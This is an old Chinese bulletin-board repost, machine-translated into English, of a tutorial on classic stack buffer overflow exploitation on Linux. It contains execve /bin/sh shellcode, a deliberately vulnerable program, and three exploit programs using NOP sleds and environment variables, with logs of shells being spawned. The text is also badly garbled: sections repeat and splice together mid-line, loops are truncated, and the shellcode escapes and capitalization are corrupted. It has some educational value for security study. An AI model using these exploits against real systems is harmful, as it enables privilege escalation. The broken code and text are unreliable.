Schematic spill

xiaoxiao2021-03-06  106

BBS Shuimu Tsinghua Station: Essence

Sender: YYH (Ah Huan & 2000 is finally arrived), the letter area: Linux

Title: ISBase Technical Guide (1) - Buffer overflow,

Sending station: BBS Shuimu Tsinghua Station (Sun Dec 12 22:08:30 1999)

Title: ISBase Technical Guide (1)

------------- [Introduction

In this guide, we will discuss what is buffering overflow and how to use it. You must understand the C language

Words and assembly languages, if you are familiar with GDB, it is better, of course, this is not necessary.

------------- [Memory Structure

(Memory Organization) memory is divided into 3 parts

1. Text area (program area)

This section is used to store program instructions. So, this area is labeled as read-only, any written

Operation will cause errors.

2. Data area

This part stores static variables, and its size can be changed by the BRK () system call.

3. Stack

The stack has a special property, which is the latest place in it, will be the first to be removed.

------------- [Introduction

In this guide, we will discuss what is buffering overflow and how to use it. You must understand the C language

Words and assembly languages, if you are familiar with GDB, it is better, of course, this is not necessary.

------------- [Memory Structure

(Memory Organization) memory is divided into 3 parts

1. Text area (program area)

This section is used to store program instructions. So, this area is labeled as read-only, any written

Operation will cause errors.

2. Data area

This part stores static variables, and its size can be changed by the BRK () system call.

3. Stack

The stack has a special property, which is the latest place in it, will be the first to be removed.

Stack of stacks. In computer science, this is usually referred to in the first out (LIFO). Stack is designed

It is used to use functions and procedures. A process changes the execution process of the program during the execution process, this

Point and Jump are a bit similar. But with Jump is different, it is returned after completing his instruction.

Point, the return address is set in the stack before the process is called.

It is also used to dynamically allocate variables in the function, as well as the parameters of the function and the return value.

------------- [Return Address and Instruction Pointer

The computer executes an instruction and retains the pointer (IP) that points to the next instruction. When the function or process is called

At the time, the command pointer that was previously retained in the stack will be used as the return address (RET). After the execution is complete,

RET will replace IP, and the program will continue to perform the original process.

------------- [A buffer overflow

Let us use an example to explain the following buffer overflow.

< > buffer / example.c

Void main () {

CHAR BIG_STRING [100];

CHAR SMALL_STRING [50];

MEMSET (BIG_STRING, 0X41, 100);

/ * STRCPY (Char * to, char * from) * /

STRCPY (small_string, big_string);

<-> end of example.c

This program uses two arrays, and MEMSET () adds characters 0x41 (= a) to array BIG_STRINGS.

Then it adds BIG_STRING to Small_String. It is obvious that array Small_String cannot accommodate

100 characters, therefore, overflow generation.

Next we look at the changes in the memory:

[BIG_STRING] [small_string] [sfp] [RET]

In overflow, the SFP (STACK FRAME POINTER "stack pointer and RET return address will be overwritten by A.

This means that the RET is to be 0x41414141 (0x41 is a hexadecimal value). When the function is returned, the instruction pointer will be replaced with the RET replacement. Next, the computer will try go with

Execute instructions at 0x41414141. This will lead to segment conflicts because this address has exceeded processing.

-------------------- [Discover Vulnerabilities

Now we know that we can change the normal flow of the program by overwriting RET, we can experiment.

Not covered with A, but use some special addresses to achieve our goal.

------------ [Execution of any code

Now we need something to point to the address and execute. In most cases, we need to generate a

Shell, of course, this is not the only way.

BEFORE:

Fffff Bbbbbbbbbbbbbbbbbbbb eeee rrrr ffffffffff

B = the buffer

E = Stack Frame Pointer

R = Return Address

F = Other Data

After:

Ffffff ssssssssssssssssssssssssssaaaaaaaaaafffffffff

S = shellcode

A = address pointing to the shellcode

F = Other Data

Use C to generate the code of the shell as follows:

< > buffer / shell.c

Void main () {

Char * name [2];

Name [0] = "/ bin / sh";

Name [1] = 0x0;

Execve (Name [0], Name, 0x0);

exit (0);

}

<-> end of shellcode

Here we don't plan to explain how to write a shellcode because it requires a lot of compilation.

Knowledge. That will deviate from the topic we discussed. In fact, there are many shellcode can be used by us. For that

Some people who want to know how to generate, can be done according to the following steps:

- Use the -static flag switch to compile the above program

- Use GDB to open the above program, then use the "disassemble main" command

- Remove all unnecessary code

- Use assembly to rewrite it

- Compile, then use GDB to open, command with "disassemble main" command

- Use the X / BX command in the command address to find HEX-CODE.

Or you can use these code

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

------------ [Look for Address

When we try to overflow a buffer buffer, this program is looking for the address of this buffer.

The answer to this question is: For each program, the stack starts on the same address. So, as long as you know

Where is the address of this stack, we can guess the address of this buffer.

Below this program tells us the stack pointer of this program:

- Remove all unnecessary code - use assembly to override it

- Compile, then use GDB to open, command with "disassemble main" command

- Use the X / BX command in the command address to find HEX-CODE.

Or you can use these code

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

------------ [Look for Address

When we try to overflow a buffer buffer, this program is looking for the address of this buffer.

The answer to this question is: For each program, the stack starts on the same address. So, as long as you know

Where is the address of this stack, we can guess the address of this buffer.

Below this program tells us the stack pointer of this program:

< > buffer / getsp.c

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX);

}

Void main () {

FPRINTF (stdout, "0x% x / n", get_sp ());

}

<-> end of getsp.c

------------ [Try the following example

< > buffer / hole.c

Void main (int Argc, char ** argv []) {

Char buffer [512];

IF (Argc> 1) / * OtherWise We Crash Our Little Program * /

STRCPY (Buffer, Argv [1]);

}

<-> end of hole.c

< > buffer / exploit1.c

#include

#define default_offset 0

#define default_buffer_size 512

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void main (int Argc, char * argv [])

{

Char * buff, * PTR;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (! (buff = malloc (bsize))) {Printf ("" can't allocate memory./n ");

exit (0);

}

AddR = get_sp () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = 4;

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Memcpy (BUFF, "BUF =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

<-> end of exploit1.c

Now we can guess Offset (bufferaddress = stackpointer offset).

[HOSTS] $ EXPLOIT1 600

USING Address: 0xBfffff6c3

[Hosts] $ ./hole $ buf

[HOSTS] $ EXPLOIT1 600 100

Using address: 0xBffffCe6

[Hosts] $ ./hole $ buf

Segmentation Fault

ETC.

ETC.

Just like what you know, this process is almost impossible, so we have to guess

More accurate overflow address. In order to increase our chance, we can overflow from our buffer shellcode

Plus the NOP (empty operation) instruction. Because we don't have to guess its precise overflow address.

The NOP instruction is used to delay. If this overwritten return address pointer is in the NOP string, our code

You can do it one step below.

The content of the memory should be like this:

Ffffff nnnnnnnnnnssssssssssssssssaaaaaaaaaffffffffff

N = NOP

S = shellcode

A = address pointing to the shellcode

F = Other Data

We change the original code.

< > buffer / exploit2.c

#include

#define default_offset 0

#define default_buffer_size 512

#define nop 0x90

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void main (int Argc, char * argv [])

{

Char * buff, * PTR;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size; int i;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_sp () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

For (i = 0; i

BUFF [I] = NOP;

PTR = Buff ((BSIZE / 2) - (Strlen) (INT I;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_sp () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

For (i = 0; i

BUFF [I] = NOP;

PTR = BUFF ((BSIZE / 2) - (Strlen (shellcode) / 2);

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Memcpy (BUFF, "BUF =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

<-> end of exploit2.c

[HOSTS] $ EXPLOIT2 600

USING Address: 0xBfffff6c3

[Hosts] $ ./hole $ buf

Segmentation Fault

[HOSTS] $ EXPLOIT2 600 100

USING Address: 0xBffff Ce6Shellcode) / 2)))))

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Memcpy (BUFF, "BUF =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

<-> end of exploit2.c

[HOSTS] $ EXPLOIT2 600

USING Address: 0xBfffff6c3

[Hosts] $ ./hole $ buf

Segmentation Fault

[HOSTS] $ EXPLOIT2 600 100

Using address: 0xBffffCe6

[Hosts] $ ./hole $ buf

#exit

[hosts] $

In order to better improve our code, we put these shellcod to the environment variable. Then we will

You can use this variable to overflow the buffer. This method can increase our chance. Use the setENV () letter

Call and put shell [hosts] $ ./hole $ buf

#exit

[hosts] $

In order to better improve our code, we put these shellcod to the environment variable. Then we will

You can use this variable to overflow the buffer. This method can increase our chance. Use the setENV () letter

Call and send shellcode to the environment variable.

< > buffer / exploit3.c

#include

#define default_offset 0

#define default_buffer_size 512

#define default_egg_size 2048

[HOSTS] $ EXPLOIT2 600 100

Using address: 0xBffffCe6

[Hosts] $ ./hole $ buf

#exit

[hosts] $

In order to better improve our code, we put these shellcod to the environment variable. Then we will

You can use this variable to overflow the buffer. This method can increase our chance. Use the setENV () letter

Call and put shell [hosts] $ ./hole $ buf

#exit

[hosts] $

In order to better improve our code, we put these shellcod to the environment variable. Then we will

You can use this variable to overflow the buffer. This method can increase our chance. Use the setENV () letter

Call and send shellcode to the environment variable.

< > buffer / exploit3.c

#include

#define default_offset 0

#define default_buffer_size 512

#define default_egg_size 2048

#define nop 0x90

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_esp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void main (int Argc, char * argv [])

{

Char * buff, * ptr, * EGG;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I, Eggsize = Default_EGG_SIZE;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (Argc> 3) Eggsize = ATOI (Argv [3]); if (! (buff = malloc (bsize))) {

Printf ("Can't Allocate Memory./N);

EXIT (0); Code is sent to the environment variable.

< > buffer / exploit3.c

#include

#define default_offset 0

#define default_buffer_size 512

#define default_egg_size 2048

#define nop 0x90

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_esp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void main (int Argc, char * argv [])

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

EXIT (0); Code is sent to the environment variable.

< > buffer / exploit3.c

#include

#define default_offset 0

#define default_buffer_size 512

#define default_egg_size 2048

#define nop 0x90

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_esp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void main (int Argc, char * argv [])

{

Char * buff, * ptr, * EGG;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I, Eggsize = Default_EGG_SIZE;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (Argc> 3) Eggsize = ATOI (Argv [3]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

IF (! (egg = malloc (eggsize))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_ESP () - offset; Printf ("Using Address: 0x% x / n", addr;

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; I}

IF (! (egg = malloc (eggsize))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = Get_ESP () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = EGG;

For (i = 0; I

* (PTR ) = NOP;

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Egg [Eggsize - 1] = '/ 0';

Memcpy (EGG, "BUF =", 4);

Putenv (EGG);

Memcpy (BUFF, "RET =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

End of exploit3.c

[HOSTS] $ EXPLOIT2 600

Using address: 0xBfffff5d7

[Hosts] $ ./hole $ rete

#exit

[hosts] $

-------------------- [Look for overflow

Of course, you can more accurately find a buffer overflow, that is, read it. Because Linux is a

The system, you can easily get its source program.

* (addr_ptr ) = addr;

PTR = EGG;

For (i = 0; I

* (PTR ) = NOP;

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Egg [Eggsize - 1] = '/ 0';

Memcpy (EGG, "BUF =", 4);

Putenv (EGG);

Memcpy (BUFF, "RET =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

End of exploit3.c

[HOSTS] $ EXPLOIT2 600

Using address: 0xBfffff5d7

[Hosts] $ ./hole $ rete

#exit

[hosts] $

-------------------- [Look for overflow

Of course, you can more accurately find a buffer overflow, that is, read it. Because Linux is a

The system you can easily get it.

Find a library function call without a boundary check, such as: structf (), strcat (), sprintf (), vSprintf (), scanf ().

Other dangerous functions such as:

Getc () and getchar () in the "model" cycle.

The error use of the strncat function.

--------------------[ references

Smashing the stack for fat and profit by aleph1

Bufferoverflows by Mudge

*********************************************************** **

By Lamagra Access-

granted@geocities.com>

Repaired by solo <

Soloist@188.net>

Copyright by Isbase

Http://www.isbase.com/

*********************************************************** **

To reprint, please keep the integrity of the article

Welcome to our site

http://www.isbase.com

Green Corps gives you safe guarantee

-

※ Source: · BBS Shuimu Tsinghua Station bbs.Net.tsinghua.edu.cn · [From: 162.105.17.237]

BBS Shuimu Tsinghua Station: Essence

Copyright Notice: 9CBS is this BLOG managed service provider. If this paper involves copyright issues, 9CBS does not assume relevant responsibilities, please contact the copyright owner directly with the article Author.

转载请注明原文地址:https://www.9cbs.com/read-99091.html

New Post(0)